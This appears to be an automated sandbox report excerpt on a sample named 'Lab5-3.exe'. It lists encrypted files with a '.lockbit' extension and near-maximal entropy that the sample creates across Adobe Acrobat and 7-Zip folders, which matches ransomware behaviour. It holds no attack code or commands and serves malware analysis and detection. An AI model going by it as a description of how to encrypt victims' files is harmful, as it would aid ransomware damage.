Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\AdobePDF417.pmp.lockbit entropy: 7.99816774855	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\IA32.api.lockbit entropy: 7.99922408685	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Faces.pdf.lockbit entropy: 7.9942981267	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\adobepdf.xdc.lockbit entropy: 7.99645006048	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\DVA.api.lockbit entropy: 7.99866911986	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\Words.pdf.lockbit entropy: 7.99809829047	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\SignHere.pdf.lockbit entropy: 7.99578420206	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\eBook.api.lockbit entropy: 7.99734741589	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\CompareMarkers.pdf.lockbit entropy: 7.99197906348	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm\PMP\QRCode.pmp.lockbit entropy: 7.99709293268	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf.lockbit entropy: 7.99820548611	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\uk.txt.lockbit entropy: 7.99036702136	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\sa.txt.lockbit entropy: 7.99090454172	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\7-Zip\Lang\tt.txt.lockbit entropy: 7.99028032635	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\plugin.js.lockbit entropy: 7.99056683079	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\img_invoices@2x.png.lockbit entropy: 7.99301034826	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\Flash.mpp.lockbit entropy: 7.9988557366	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Standard.pdf.lockbit entropy: 7.99821350076	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Updater.api.lockbit entropy: 7.99890145089	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf.lockbit entropy: 7.99717914627	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\ui-strings.js.lockbit entropy: 7.9968290078	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js.lockbit entropy: 7.99722453772	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\img_flyers.png.lockbit entropy: 7.99277551392	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\img_logos@2x.png.lockbit entropy: 7.99011340824	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\Comments.aapp.lockbit entropy: 7.99211823552	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js.lockbit entropy: 7.99718998872	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\ui-strings.js.lockbit entropy: 7.99569397821	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\img_flyers@2x.png.lockbit entropy: 7.99732677943	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\ui-strings.js.lockbit entropy: 7.99608740497	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js.lockbit entropy: 7.99697758553	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js.lockbit entropy: 7.99654311141	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\combineconvertpdf-rna-selector.js.lockbit entropy: 7.99899620171	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js.lockbit entropy: 7.99901187611	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js.lockbit entropy: 7.99703491655	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js.lockbit entropy: 7.99704626169	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js.lockbit entropy: 7.99902722916	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png.lockbit entropy: 7.99301956994	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png.lockbit entropy: 7.99039669594	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js.lockbit entropy: 7.99025782972	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js.lockbit entropy: 7.99696863178	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\themeless\web_documentcloud_logo.png.lockbit entropy: 7.99684628067	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js.lockbit entropy: 7.99675588089	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\ui-strings.js.lockbit entropy: 7.99650440584	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\ui-strings.js.lockbit entropy: 7.99688910499	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js.lockbit entropy: 7.99254376249	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js.lockbit entropy: 7.99042221844	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\3379-chunk.js.lockbit entropy: 7.99901740534	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js.lockbit entropy: 7.9990449963	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\core_icons_retina.png.lockbit entropy: 7.99009411182	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4109-chunk.js.lockbit entropy: 7.99370366057	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png.lockbit entropy: 7.99335668095	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\de-de\ui-strings.js.lockbit entropy: 7.99120576539	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js.lockbit entropy: 7.99036145693	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\pl-pl\ui-strings.js.lockbit entropy: 7.99135327645	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\ui-strings.js.lockbit entropy: 7.99031738204	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\js\nls\ru-ru\ui-strings.js.lockbit entropy: 7.99266136563	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\plugin.js.lockbit entropy: 7.99752714579	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-nl-NL-json-chunk.js.lockbit entropy: 7.99793914787	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-it-IT-json-chunk.js.lockbit entropy: 7.99785689725	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_MakeChanges.webm.lockbit entropy: 7.99924431711	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_SaveReadOnlyCopy.webm.lockbit entropy: 7.99865060505	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-pl-PL-json-chunk.js.lockbit entropy: 7.9977606501	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-en-IL-json-chunk.js.lockbit entropy: 7.99759452451	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-hu-HU-json-chunk.js.lockbit entropy: 7.9982947049	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-fr-MA-json-chunk.js.lockbit entropy: 7.9978808656	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-de-DE-json-chunk.js.lockbit entropy: 7.9978325325	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_ReorderPages.webm.lockbit entropy: 7.99898294975	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-pt-BR-json-chunk.js.lockbit entropy: 7.99796561549	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-en-AE-json-chunk.js.lockbit entropy: 7.99768099409	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-sv-SE-json-chunk.js.lockbit entropy: 7.99785176128	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-help-chunk.js.lockbit entropy: 7.9993020155	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-fr-FR-json-chunk.js.lockbit entropy: 7.99818387393	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-eu-ES-json-chunk.js.lockbit entropy: 7.9977169149	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-fi-FI-json-chunk.js.lockbit entropy: 7.9981214739	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-selector.js.lockbit entropy: 7.9990523027	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ro-RO-json-chunk.js.lockbit entropy: 7.99829489277	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-hr-HR-json-chunk.js.lockbit entropy: 7.99823019773	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\prod\appmeasurement.js.lockbit entropy: 7.99729576466	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_AddCustomPage.webm.lockbit entropy: 7.99919575364	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\edit-verb-object-chunk.js.lockbit entropy: 7.9972616561	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-ru-RU-json-chunk.js.lockbit entropy: 7.99813804757	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_FillAndSignYourForm.webm.lockbit entropy: 7.99930447825	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-zh-CN-json-chunk.js.lockbit entropy: 7.99749220737	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-tr-TR-json-chunk.js.lockbit entropy: 7.99804509668	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-sk-SK-json-chunk.js.lockbit entropy: 7.99790267338	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\dc-discovery-versions.js.lockbit entropy: 7.99199370864	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-sl-SI-json-chunk.js.lockbit entropy: 7.99830806293	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Q3_2022_ApplyRedactions.webm.lockbit entropy: 7.99847606192	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\stage\appmeasurement.js.lockbit entropy: 7.99752492853	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\dc-discovery.ec9f93f44788dcd05bd0.js.lockbit entropy: 7.9990323863	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\connectors.ec9f93f44788dcd05bd0.js.lockbit entropy: 7.99838570135	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-zh-TW-json-chunk.js.lockbit entropy: 7.99790004902	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-uk-UA-json-chunk.js.lockbit entropy: 7.9983262646	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Multimedia\MPP\WindowsMedia.mpp.lockbit entropy: 7.99918580989	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\__VERSION__\network-api.ec9f93f44788dcd05bd0.js.lockbit entropy: 7.99282350229	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\ui-strings.js.lockbit entropy: 7.996541806	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\5251-chunk.js.lockbit entropy: 7.99417228124	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8172-chunk.js.lockbit entropy: 7.99755135025	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8329-chunk.js.lockbit entropy: 7.99884375284	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9216-chunk.js.lockbit entropy: 7.99507565375	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-walkthrough-chunk.js.lockbit entropy: 7.99856024283	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9488-chunk.js.lockbit entropy: 7.99244654147	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ca-es\ui-strings.js.lockbit entropy: 7.99536536429	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js.lockbit entropy: 7.99567983313	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\AdobeCleanUX-BoldIt.otf.lockbit entropy: 7.99890866373	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\css\manifest.min.css.lockbit entropy: 7.99850391551	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\MyriadPro-Bold.otf.lockbit entropy: 7.99812333533	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\AdobeCleanUX-It.otf.lockbit entropy: 7.99908236917	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\KeplerStd-Bold.otf.lockbit entropy: 7.99880014832	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\AdobeCleanUX-LightIt.otf.lockbit entropy: 7.99890039379	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif.lockbit entropy: 7.99052948792	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\KeplerStd-Regular.otf.lockbit entropy: 7.99904646293	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\MyriadPro-Light.otf.lockbit entropy: 7.99773652004	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\core_icons.png.lockbit entropy: 7.99300198741	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\AdobeCleanUX-MediumIt.otf.lockbit entropy: 7.99891855075	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\MyriadPro-Regular.otf.lockbit entropy: 7.99832793907	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\MyriadPro-Semibold.otf.lockbit entropy: 7.99800311482	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png.lockbit entropy: 7.99682900944	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\ind_prog.gif.lockbit entropy: 7.99240126622	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif.lockbit entropy: 7.99575779252	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif.lockbit entropy: 7.99442144088	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\S_IlluEmptyStateCCFiles_280x192.svg.lockbit entropy: 7.99383004178	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\S_IlluDCFilesEmpty_180x180.svg.lockbit entropy: 7.99044112277	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\S_IlluEmptyStateDCFiles_280x192.svg.lockbit entropy: 7.99235368795	Jump to dropped file
